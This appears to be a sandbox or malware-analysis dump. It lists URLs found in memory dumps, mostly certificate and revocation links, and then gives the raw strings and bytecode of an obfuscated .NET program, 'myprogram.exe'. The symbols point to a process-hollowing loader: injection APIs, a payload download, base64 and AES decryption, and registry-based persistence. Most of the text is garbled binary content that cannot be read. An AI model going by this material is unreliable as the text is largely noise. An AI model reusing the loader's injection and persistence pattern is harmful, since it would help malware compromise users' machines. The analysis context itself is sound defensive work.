"http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004664.00000000.123563.4DF60000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00004664.00000001.123757.34B60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004664.00000001.123757.34B60000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0system.xml.dllanonsly" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3geotrust" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuuhhsmookhp" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lkn" - Source: "00000000-00004664.00000001.123757.4D170000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00004664.00000001.123757.4D245000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsxxcjxxcj@xcj@xcj" - Source: "00000000-00004664.00000001.123757.4D245000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsu*anonymously" - Source: "00000000-00004664.00000001.123757.4D245000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@washington1redmond1microsoft" - Source: "00000000-00004664.00000001.123757.4DF60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004664.00000001.123757.4DF60000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00004664.00000001.123757.4DF7C000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004664.00000001.123757.4DF7C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004664.00000001.123757.4DF7C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0f(v }*>(v }*0^~([R +"~~Z((Xi-~~(( + *0G( ~w ( ,sx z(~w ( ,sx z(++*0d~~ ((+ ~~ ((+~~ ((+~~ ((+ ~~ ((+~~ +((+~~ D((+~~ ](( +~~ n(( +~<( ~ PX( ~ (X(~ 0X(~ X( ~ X(~~ (~ (((+}~~~ (~ ((( ~w ~w ~w o,sx z{~( o&{~( 0@o~~w (,{~w 0@o~~w (,sx z~ TX( {o& XX8(ZX~X( ~X(!~X("!$$,+K!R#~"#!( {~~( jX( #!o&X %%:R{ o&{~w 0@o~~w (&&,Q R'~s{ '( {''io&{ o&{ @o&~ (~0 ({o")) sx z~ ("( {~(jX( ~~((%o&~ ~(jX(({o&**,sx z~(+{o*++,sx z!{o.&{o.&*A4d/B!0 8~~ ((+~~ (( +~~ ((+ ~~ ((+~~ ((+~~ +((+~~ ((+~~ D((+~~ ((+ ~~ ]((+ ~~ &(~ (((+} ~| ~w ~w ~w o2,~ g(s} z~<(~PX( U ~(.. {.oJ+ {.oF,~ (s} z) {-Xo> ~ (s} z!!,0 {-oB"",~ (s} z~TX( {- 0@o6##,~ (s} z {-o:$$,~ (s} z X~X(%8%(ZX&~&X('~&X((~&X()(**,e(R+~)+(( {-'X+(o:,,,&~~ 9(%U(1s} z%X%%--:9~(4 {-Xo:..,~ n(s} z~(X(,X~(.. {.oR+ {.oN//,~ (s} z {.oV00,~ (s} zݬ&~s~ %~ (o %~~ ( {/V(1o %o! %o" (=%-&+(( &&Y11,~"2(CX 22:Q*AL q~Qz | "( *0I(S (%~ ((%~ ((*^}2( (a* *0I~8 U((+~:%-&~9es %:(+(+s +*0 ~8 n( ~#~( (F ~8 (+<~#~(~&~((I(L ( (FX-+*0'~*~((O ~+(R+* * *05,{2+ ,~{2(@~(:*0s }3s }4s }5s }6s }7~(@~-{37Vs (U~{3~8 ((7~/{3Ks (X~3{3([~{3~8 ((7~{3(:~5{3Zs (^~-{4 Vs (U~{4~8 ((7~/{4Ks (X~3{4([~{4~8 ((7~{4(:~5{4^s (^~-{57+s (U~{5~8 ((7~/{5 s (X~3{5([~-{67 s (U~{6~8 ((7~/{6Ks (X~3{6([~{6~8 ((7~{6(:~-{7 s (U~{7~8 ((7~/{7Ks (X~3{7([~{7~8 ((7~{7(:~8"A"As (a~:(d~0 s (X~?~<(g{7(j~?~<(g{6(j~?~<(g{5(j~?~<(g{4(j~?~<(g{3(j~~8 ((7~~8 ((7~6_s (^~(:~(@*j(S (s{ 1*.sd9*"( *~(~e~1~(((L*05~@(m ~A(p~BsY(s~C(v*"( *0 r ~@(m ~D~< ((y9~@#(m ~G~ ~< ((|~$~#~< %((F(F~I (i(g&~G~ ~< .((|~$~#~< %((F(F ~I (i (~D~< k((y9#~@#(m ~G~ ~< ((| ~$~#~< p((F(F~~< y(~< ((~I (i(ݏ&~G~ ~< .((|~$~#~< p((F(F~~< y(~< ((~I (i(~J(~M~< ((-!~M~< ((+9~< ((j~" (C~N%~< (%%~< (%~$~#~< p((F(F%~< u(((j~D~< ((y9V~@#(m ~G~ ~< ((|~$~#~< ((F(F~~< y(~< ((~I (i(ݏ&~G~ ~< .((|~$~#~< ((F(F~~< y(~< ((~I (i(~< ((j~" (Cs ~P~((~#~< ((F(+(+~R((+(+~T~< ((,;~W~V~< (~< ((( 8~T~< ((,8~W~V~< (~< ((( +6~W~V~< (~< ((( ~D~< ((y, ~< (7( + ~< (( ~D~< ((y,~E~< ((y+9~#~K(~< ((Fs !~ !~< ((7~ !~< ((7~ !~< ((7~ !~< ((7~ !~N%~< (%%~< A(%%~< n(((7~ !~~< {(~$(F~< (((7~ !~< ((7!, ~!(@s ~~Y ((7~[~Y ((~~Y ((:~] (&*Ad>fg=,0I~< Y((+~>%-&~=os %>(+(+s +*0e s~ ~~< ((7~(7~[(s ~_(~](&&*^_"( *j (S (s{ ;*.sn=*"( *~(~e~;~(((L*&( *0M~? ,6~A (~b~`"((s ?~?+*0~@ +*"@*B"(S (*0 ~B +*"( *j~csv(t#B*(v *(v *(v *(v *(v *(v *0C X( (S & (o 8o o Y+Co1 ~3 +4+~D3:ZX+X:2Y/C X( ( ta&=o ,o ( &o iX/(S + Yo X 2~| o s o ~ o 1~ o 1~ o 1~ o 1+~ o X2~ o -~ +~ o ~ o o & o &Xi?&*@ T0<:Y%E( D(S ,(Z o o C*0 (o 8 o *(S @~| (S /U(S o s o ~ o /(S o +N o (S 30~ o _o ~ o ~ o +Xi2~ o *(S o o &Xi?* 0 ~KY~J,~Io &,*~H%X _- -R~| * @_- ?_b~H%XX+1 _b~H%XbX~H%XbX~H%XX~W~g~(~H((~h~g~(i((~J,~Io &&*m0rpFrpGHJK~D~Frp(y,Js I~i~G(K~j( ~lr p(~o~n((R ~q (& (H ~!(@,~(@*|F( *(v *(v *(v *0Ao o o o .*,+.*Xi2*0*s - o +o ,o) * 0*s - o +o o) * 0u( (Z .(-*sR o PK@ohoo PK33 -.r[ps zo&o&o&oo o 1 R o^ & 1 R o^ &o\ o YԍR io^ & sR io& 8HcbY {z}@ 3_oR +DooRio^ &s o&X23XR%( R%( (iYo ( ,o) 3eR%( R%( (iYo ( ,o) rps zo *:T*(**(**(*0s :s( ( Y_b( b`( b`( b`( b`( d`n V%( i+%Xa _daY%/a PKoooo iooo oio( rpo2 ioo io o+& Ro1o o,o+& R o1 o o,o PKooooo iooioio iooooooo io PKooooo. iXo iXjXioo o &io8@ {z}oio8 iY( Ri( o oioso+' Ro1o o,o+' Ro1o o,o o oioo iXi? 83K {z}o((io io [,o) 3K {z}o((io io ,o) o o o rpo (. L *AL$CeeT( s}ds}e}^{dio*0{eo 8{^YE8p{eoY% /*{g{do% _, //*}h}g}^*~Z Y}`~[ Y}_{_1>}^{d{_o/*{d{_o%{`X}` }^{h{do/*~\}a~]}_{_1? }^{d{_o /*{d{_o%{a X}a{e{`{ao{`Y }^ <_*0{^ YEB8{c, }^*{do /*{do_,}ccE5+E{do}^+1~u}g~v}h}^+s}f}^*{do%}b/*{do}^{do/*{do}^{e{d{bo%{bY}b{b- }^*{do*{f{do-*{fo}g{fo}h}^(***0P {^."{eoXX Y-*(-{eo1 {^3*0]U%( ZU%( [U%( \U%( ]*0{m/u{j{k3*%{l{i%{j% X}j _{i%{j%X}j _b`{m_b`}l%{mX}m{ln_bYj_i*%{l_d}l%{mY}m*{m*^{k{jY{mcX*%{l{m__d}l%{m_}m*>{j{k*0 +4%X{lҜ%{ld}l%{mY}mYX {m10-*{k{jY1{i{j( %{jX}j{j{kY_,+{i%{j%X}j _}l}mX*( *0#% }m%}k%}j}l*0z{j{k/s zX 0 0i1s z_,3%{l%X _{m_b`}l%{mX}m}i}j}k*0K%{r% X}r 3s z{p%{q%X}qҜ%{q _}q*0L+@{p%{q% X}q{p%X%{q _}q _%Y0*0%{rX%}r 1s z{qY _ Y0c{q/Z0L{p{p{q( %{qX}q*{p%{q% X}q {p%X %Y0*(*0 {rY( o( {qY1-{p{qo 3){pYoX +{p{qo {qX _}q%{rX}r*0F{r1s z 1 YX {p( _}q*6 {rY*{r*0{q {r1 {r+{q{rYX _ Y1{p Y( X{pY( %{rY}r{r/s z*0% }q}r*^ R}p( *0 R +%X 2+ %X 2+%X 2+%X 2su R +%X 2sv*:( (*0U U+ 1 U%qUXUXi2 +MY_bX 2) _ _YY_cXX1u}t +h _ Y_bY _ +0{t ( eb `h Y_bX X 2 Y /89( 0({tb`h_bX 2+M{t ___bce{t c`b`h_bX2Y_bXXi?H*0 o% ?{t%2_oc*ce_ o% 2{t c`_oc*oo {t c`_0_oc**oo {t2_0_oc**( *0U {E:+o}{/*%{ X}o}o}{/*%{X}o{{X}{R}}o}{/*%{X}oR}}}+8o /*o{~{Ҝ%{X}{{2{s}}}}+7{%{%X}%}{{3*{o%_,/*2}Y}}~~{o /*o ~}{X + {%{%X}{ %Y 0{{3*}80'!{R {{( s*0,!{R {{{( s*0DU%( }U%( ~U%( *}( s}{s}*{*B%{`}*b{3{o**2{o*6{o*0 i{o X %{ jX} Y9{;{{_{_o-{3Y*{3;{oe_X+{ o Y0}8K{@>{o}8&Y*~_b~c_b`~c_b`~c`h*04U%( R%( u R +~0Xb(~%X 2+"~ Xb(~%X 2+"~ X b(~%X 2+~Xb(~%X 2uR +~b(~X 2*0g( } s}s}s} @u} @R}*>}}*0' 3 * + X c/X*0 + X c/X*0{o{o{o{{{ Yo{{{Yo{Yo +#{{{~oX 2{{o{{o*0 8{ _{%Y,~( { o Y[10{_bY_o({o[Y1&{_bY_o+{oX {?G{ o*0M{-+o{o{o{fo{o(*0{{ u%quXhu{o{o{{o{{o{o +{{~1X Y0ZX{oX{oX{oX{X{ + {{~ZX X 2+ {{~ZX X2 2 2Xc/(* 3M{-+Xo{~~o{~~o((*{-+Xo(((*F{ @*0N{{{%{% X}Ҝ{{u%quXhu(*0{{h{%{%X}YҜY( {{u%quXhu 2 /%{ Y[X}Y({{u%quXhu2%{[YX}(*( }}}u}U}*{{{ _{o*>}}*0"{U {iu}+{Y_bXX{2 +F{ 13{ Y(YU%qUY_bXU X {2*0#{iR}i[ X[ + { X {2UYY8ZX.{{*07{%{% X}Ҝ{%{%X}cҜ*{{( %{X}*{*0a{1I{%{% X}{Ҝ{1!{%{%X}{dҜ}}*0%{{_b`}%{X}{2^{%{% X}{Ҝ{%{%X}{dҜ%{d}%{Y}**{*0{2;{%{% X}{Ҝ%{d}%{Y}{{Y13{{Y{{( }}+"{{( %{X}*^ R}( *~ _o c _o *J(c(*Bo o b`*F((b`*( *&( *(v *"F(*"G(*"H(*"I(*"J(*"K(*"L(*"M(*"N(*"O(*"P(*"Q(*"R(*"S(*"T(*"U(*"V(*"W(*"X(*"Y(*"Z(*"[(*"\(*"](*"^(*"_(*"`(*"a(*"b(*"c(*"d(*"e(*"f(*"g(*"h(*"i(*"j(*"k(*"l(*"m(*"n(*"o(*"p(*"q(*"r(*"s(*"t(*"u(*"v(*"w(*"x(*"y(*"z(*"{(*"|(*"}(*"~(*"(*. (*. (*. (*. (*. (*. (*. (*. (*. (*. (*. (*. (*. (*. (*. (*. (*+rB60w,aQ mjp5c飕d2yҗ+L |~-d jHqA}mQǅӃVlkdzbeO\lcc= n;^iLA`rqgjm Zjz ' }Dңhi]Wbgeq6lknv+ӉZzJgo߹ﾎCՎ`~ѡ8ROggW?K6H+ L J6`zA`Ugn1yiFafo%6hRwG"/&U;(Z+j\1е,[d&c윣ju m ?6grWJz+{8Ғ |!ӆBhn[&wowGZpj;f\eibkaElx TN³9a&g`MGiIwn>JjѮZf@;7SŞϲG0򽽊º0S$6к)WTg#.zfJah]+o*7Z- #+3;CScs !1Aa 0@` BSJBv4.0.30319lA#~BH&#StringsTh#US i#GUID0i#BlobW= 1uq3[(+T^^^^ ^ /^K[|^^3^BKc^^^`q mq^A2T2^ 2 g +^E S^q^^6=^Q^^^6^wwwq6Un[ 7 Q wi w ^ ^ q ^!%!!^!!^!^!^""""?"^M"j"""""^"#H#w########$w-$^K$$$$%3%^d%^%%^%^%^&^(&^"4ewwdq - 1 1 1, 1> 1T 1!f 1%x 1) 1- 11 15 19 1= 1A 1E 1I' 1M; 1QT 1U1Y!9c;f;h!=m?pBuCx(CyA(CzU(C{q(C|(C} C~CEE FFALL+L+L=MFiXnesyw / M k ( ! $! '# *% -' 0) 3+ 6- 9/ <2 ?5 "B8 #E; %H> 'KA )ND +QG TJ .WM 2ZP 4]S 8`V :cY i_ @lb Aoe Brh Cuk Dxn F{q H~t Jw Lz N} O Q S U W X Z \ ^ ` a c d f h i j k m o p& &1k -=E Q ]is~#&&&### ###-#=#E)Q)]is~## 044844k6"<&@,_6"H6@?MlQ/UZ^b1&1&1 1g1 o1 &Q0 Q> QJ QX Qk Q~ Q Q Q Q Q Q Q 1 1 1 1 # ( 3 = E P o\ b o y # Q Q Q 66QQ Q%Q+Q2Q71<1CK R ^# ejouy1QQQQQQQQQQ%Q0Q8QAQL11W c ^ou {11 11 "Q Q Q Q Q$ Q. Q8 QC QQ QZ b h m r } o " # !;5;I@]EqEJJOOTT;]#]h0hs}` !)#4%@'J)S+^-i/ss2ss5ss8ss;ss>}}A} }D}}G}D}J}U}M}i}PSVY\_behknqtwGzY}l} !!,,7'7CMXallyy 3FIVYeh}/2P+S5W5\B`BlLpValluuH T p G "P!F&e --~]Eu&)+E0u78:E(?u9FHBJELOu\VXeZEk\uw`aecEkeuwijelEknuwrs~uEvuyz|E}uwEuEuEu9Eu(3E9uEELuwEELuwEELuwEELuwYEuh--(^-If-Vkt.cG.z^.^.x .3~]3~]33r3],484w=It==>~] >~],>8>r`>l>2>F>R>~]?d?$?~]@?H?P?X?`?h?fEup?rA~]BPCD~] tE |E E E E E" FA%tFQ(IW) I[* Ii-8IW0N4LN{5P5Q53@?A?B?C?D?E?;n| " { ! myprogram.exemyprogramEmbeddedAttributeMicrosoft.CodeAnalysismscorlibAttributeSystemNullableAttributeSystem.Runtime.CompilerServicesNullableContextAttributeSTARTUP_64ValueTypePROCESS_64STARTUP_32PROCESS_32_CreateProcessAMulticastDelegate_VirtualAllocEx_WriteProcessMemory_VirtualProtectEx_ZwUnmapViewOfSection_GetThreadContext_SetThreadContext_ResumeThread_CloseHandle_CreateProcessA32_VirtualAllocEx32_WriteProcessMemory32_ReadProcessMemory32_ZwUnmapViewOfSection32_GetThreadContext32_Wow64GetThreadContext32_SetThreadContext32_Wow64SetThreadContext32_ResumeThread32MemoryMapperSystemUtilitiesObject<>cForm1System.Windows.FormsFormshaHomeesResourcesmyprogram.PropertiesSettingsApplicationSettingsBaseSystem.ConfigurationDoNotObfuscateAttributeSmartAssembly.AttributesDoNotPruneAttributeDoNotObfuscateTypeAttributeDoNotPruneTypeAttributeDoNotMoveAttributeGetStringSmartAssembly.DelegatesMemberRefsProxySmartAssembly.HouseOfCardsStringsSmartAssembly.StringsEncodingDoNotEncodeStringsAttributeSmartAssembly.ZipInflaterStreamManipulatorOutputWindowInflaterHuffmanTreeInflaterDynHeaderDeflaterTreeDeflaterHuffmanDeflaterEngineDeflaterPendingZipStreamMemoryStreamSystem.IOSimpleZip__StaticArrayInitTypeSize=16__StaticArrayInitTypeSize=1024__StaticArrayInitTypeSize=116__StaticArrayInitTypeSize=120__StaticArrayInitTypeSize=12__StaticArrayInitTypeSize=76{EEE1D952-7F5E-4141-84B5-3EF03AF3374F}PoweredByAttributeNullableFlagsFlag_libNamescblpReservedlpDesktoplpTitledwXdwYdwXSizedwYSizedwXCountCharsdwYCountCharsdwFillAttributedwFlagswShowWindowcbReserved2lpReserved2hStdInputhStdOutputhStdErrorhProcesshThreaddwProcessIddwThreadIdrandomRandomcomponentsIContainerSystem.ComponentModelbutton1Buttonbutton2textBox1TextBoxbutton3button4<>9<>9__3_0Func`2<>9__2_0resourceManResourceManagerSystem.ResourcesresourceCultureCultureInfoSystem.GlobalizationdefaultInstanceModuleHandleMustUseCacheOffsetValuebyteshashtableDictionary`2System.Collections.GenericcacheStringsoffsetExceptionMessageDECODE_HEADERDECODE_DICTDECODE_BLOCKSDECODE_STORED_LEN1DECODE_STORED_LEN2DECODE_STOREDDECODE_DYN_HEADERDECODE_HUFFMANDECODE_HUFFMAN_LENBITSDECODE_HUFFMAN_DISTDECODE_HUFFMAN_DISTBITSDECODE_CHKSUMFINISHEDCPLENSCPLEXTCPDISTCPDEXTmodeneededBitsrepLengthrepDistuncomprLenisLastBlockinputoutputWindowdynHeaderlitlenTreedistTreewindowwindow_startwindow_endbufferbits_in_bufferWINDOW_SIZEWINDOW_MASKwindowEndwindowFilledMAX_BITLENtreedefLitLenTreedefDistTreeLNUMDNUMBLNUMBLLENSLENSREPSrepMinrepBitsblLenslitdistLensblTreelnumdnumblnumnumrepSymbollastLenptrBL_ORDERIS_FLUSHINGIS_FINISHINGBUSY_STATEFLUSHING_STATEFINISHING_STATEFINISHED_STATEstatetotalOutpendingengineBUFSIZELITERAL_NUMDIST_NUMBITLEN_NUMREP_3_6REP_3_10REP_11_138EOF_SYMBOLbit4ReverseliteralTreed_bufl_buflast_litextra_bitsstaticLCodesstaticLLengthstaticDCodesstaticDLengthfreqslengthminNumCodesnumCodescodesbl_countsmaxLengthdhMAX_MATCHMIN_MATCHWSIZEWMASKHASH_SIZEHASH_MASKHASH_SHIFTMIN_LOOKAHEADMAX_DISTTOO_FARins_hheadprevmatchStartmatchLenprevAvailableblockStartstrstartlookaheadinputBuftotalIninputOffinputEndhuffmanbufstartendbitsbitCount$$method0x6000005-1$$method0x6000005-2$$method0x6000005-3$$method0x6000005-4$$method0x6000009-1$$method0x600005f-1$$method0x600005f-2$$method0x600005f-3$$method0x600005f-4$$method0x6000060-1$$method0x6000060-2$$method0x6000060-3$$method0x6000032-1$$method0x6000032-2Stringget_Length~Substring~ConvertToByteEncodingSystem.Textget_UTF8~BitConverterToInt32ToInt64ToInt16ConcatTrim~ToUpper~IntPtrop_Explicitop_Equalityop_InequalityArrayCopyNextBytes~MarshalSystem.Runtime.InteropServicesAllocHGlobalWriteInt32ReadInt64GetBytesWriteInt64FreeHGlobalget_SizeFormatProcessStartInfoSystem.Diagnosticsset_FileName~set_Arguments~Controlset_Name~set_Text~TextWriterWriteLine~set_CreateNoWindow~set_UseShellExecute~Dispose~ButtonBaseset_UseVisualStyleBackColor~ResumeLayout~set_ErrorDialog~ProcessStartWaitForExit~IDisposable~SuspendLayout~PerformLayout~StreamClose~ThreadSystem.ThreadingSleepPathCombineNext~get_Chars~~ToBase64Stringset_LocationSystem.DrawingPoint~set_SizeSize~set_ClientSize~set_TabIndex~add_ClickEventHandler~add_Load~ContainerControlset_AutoScaleDimensionsSizeF~set_AutoScaleModeAutoScaleMode~get_ControlsControlCollection~Add~EnvironmentGetFolderPathSpecialFolderApplicationSetCompatibleTextRenderingDefaultRunEnableVisualStylesRegistryKeyMicrosoft.Win32OpenSubKey~SetValue~get_CurrentDirectoryGetTempPathStartsWithStringComparison~WebClientSystem.Netset_Encoding~DownloadString~Contains~Replace~FromBase64Stringget_StartInfo~set_WindowStyleProcessWindowStyle~~set_StartInfo~TypeGetTypeFromHandleRuntimeTypeHandleget_AssemblyAssemblySystem.Reflection~SettingsBaseSynchronized~~InternGetExecutingAssemblyGetManifestResourceStream~~Read~.ctorHexDecodehexLoadLibraryAlpFileNamekernel32GetProcAddresshModulelpProcNameGetProclibraryfunctionTDelegateMap64payloadtargetargumentsMap32hostargsmaxTries.cctorobjectmethodInvokelpApplicationNamelpCommandLinelpProcessAttributeslpThreadAttributesbInheritHandlesdwCreationFlagslpEnvironmentlpCurrentDirectorylpStartupInfolpProcessInformationBeginInvokeIAsyncResultAsyncCallbackcallbackEndInvokeresultlpAddressdwSizeflAllocationTypeflProtectlpBaseAddresslpBuffernSizelpNumberOfBytesWrittenflNewProtectlpflOldProtectlpContexthObjectlpNumberOfBytesReadbutton1_ClickEventArgssendereRandomStringRandomNrrndBase64EncodeplainTextbutton2_ClickForm1_LoaddisposingInitializeComponentb__3_0sMainrunssadressenablestartupstartupnameinjectionpersistencearchitectureRunPSb__2_0get_ResourceManagerget_Cultureset_Culturevalueget_DefaultiCreateMemberRefsDelegatestypeIDCreateGetStringDelegateownerTypeGetstringIDPublicKeysMatchexecutingAssemblycallingAssemblyGetAesTransformICryptoTransformSystem.Security.CryptographykeyivdecryptGetDesTransformUnzipZipZipAndEncryptZipAndAESversionDecodeHuffmanDecodeInflatelenPeekBitsnDropBitsget_AvailableBitsget_AvailableBytesSkipToByteBoundaryget_IsNeedingInputCopyBytesoutputResetSetInputoffWriteabyteSlowRepeatrepStartdistRepeatCopyStoredCopyDictdictGetFreeSpaceGetAvailableCopyOutputcodeLengthsBuildTreeGetSymbolBuildLitLenTreeBuildDistTreeget_TotalOutFinishget_IsFinishedDeflateBitReversetoReverseInitLcodeDcodedistanceSendAllTreesblTreeCodesCompressBlockFlushStoredBlockstoredstoredOffsetstoredLengthlastBlockFlushBlockIsFullTallyLitlitTallyDistelemsminCodesWriteSymbolcodeSetStaticCodesstCodesstLengthBuildCodesBuildLengthchildsGetEncodedLengthCalcBLFreqWriteTreeUpdateHashInsertStringSlideWindowFillWindowFindLongestMatchcurMatchDeflateSlowflushfinishNeedsInputWriteShortWriteBlockblockget_BitCountAlignToByteWriteBitsbcountget_IsFlushedFlushWriteIntReadShortReadIntCultureDefaultAvailableBitsAvailableBytesIsNeedingInputTotalOutIsFinishedBitCountIsFlushedUnverifiableCodeAttributeSystem.SecurityCompilationRelaxationsAttributeRuntimeCompatibilityAttributeDebuggableAttributeDebuggingModesAssemblyTitleAttributeAssemblyDescriptionAttributeAssemblyConfigurationAttributeAssemblyCompanyAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyTrademarkAttributeComVisibleAttributeGuidAttributeAssemblyFileVersionAttributeNeutralResourcesLanguageAttributeTargetFrameworkAttributeSystem.Runtime.VersioningSuppressIldasmAttributeCompilerGeneratedAttributeAttributeUsageAttributeAttributeTargetsGeneratedCodeAttributeSystem.CodeDom.CompilerDebuggerNonUserCodeAttributeSTAThreadAttributeEditorBrowsableAttributeEditorBrowsableStatemyprogram.Form1.resourcesmyprogram.Properties.Resources.resources{fd18b79c-934c-4b92-8494-0ab1d0c11010}ByteZeroWin32ExceptionGetDelegateForFunctionPointerSizeOfEmptyExceptionInt32UInt32System.CoreEnumerableSystem.LinqIEnumerable`1SelectToArrayCharToStringRegistryCurrentUserReverseStreamWriterResolveTypeHandleGetFieldsFieldInfoBindingFlagsMemberInfoget_NameResolveMethodHandleRuntimeMethodHandleMethodBaseGetMethodFromHandleMethodInfoget_IsStaticget_FieldTypeCreateDelegateGetParametersParameterInfoget_ParameterTypeget_ReturnTypeDynamicMethodSystem.Reflection.EmitGetILGeneratorILGeneratorOpCodesLdarg_0OpCodeEmitLdarg_1Ldarg_2Ldarg_3Ldarg_STailcallCallCallvirtRetRuntimeHelpersInitializeArrayRuntimeFieldHandleGetModulesModuleget_ModuleHandleget_ModuleGetMethodsLdc_I4get_MetadataTokenSubTryGetValueGetNameAssemblyNameGetPublicKeyRijndaelManagedSymmetricAlgorithmCreateEncryptorCreateDecryptorDESCryptoServiceProviderGetCallingAssemblyFormatExceptionget_PositionTransformFinalBlockDateTimeget_Nowget_Yearget_Monthget_Dayget_Hourget_Minuteget_SecondSeekSeekOriginMathMinBufferBlockCopyset_Positionget_MessageInvalidOperationExceptionArgumentOutOfRangeExceptionInt16MaxWriteByteReadByte1174M{fd18b79c-934c-4b92-8494-0ab1d0c11010}-Wrong Header SignatureUnknown Header {data}ERR 2003: ڍl@W:5Nz\V4 !%)-x159=A @~ $M( ,0 48<@ D HL YYP T X\` d h lptx| qa ?_ : e M a a $(,0 y4 8 < @ 7 $ $ $ ! 0x86599 M YY qa e M a a y 59((( TWrapNonExceptionThrows Myrpfgoram progrfam profgramprogramCopyright © 2027)$e298ec96-29bc-469d-8027-4b8f685b3955 2.0.0.12 en-MGI.NETFramework,Version=v4.8TFrameworkDisplayName.NET Framework 4.8'"Powered by SmartAssembly 6.9.0.114 1&kT AllowMultipleT Inherited< AllowMultipleT Inherited A3System.Resources.Tools.StronglyTypedResourceBuilder18.0.0.0ZKMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator 17.14.0.0lD@o E.System.Security.Permissions.SecurityPermissionAttribute mscorlib Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089TSkipVerification ( 8 , 0 4 < @ D H <,(8,04<@DH L P T X \ ` d h l p E3LPTX\`dhlp $ a 1aa1 a aaa6"qmaq 559 qu }} *qqY = u qqA y 9 =! Q lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, 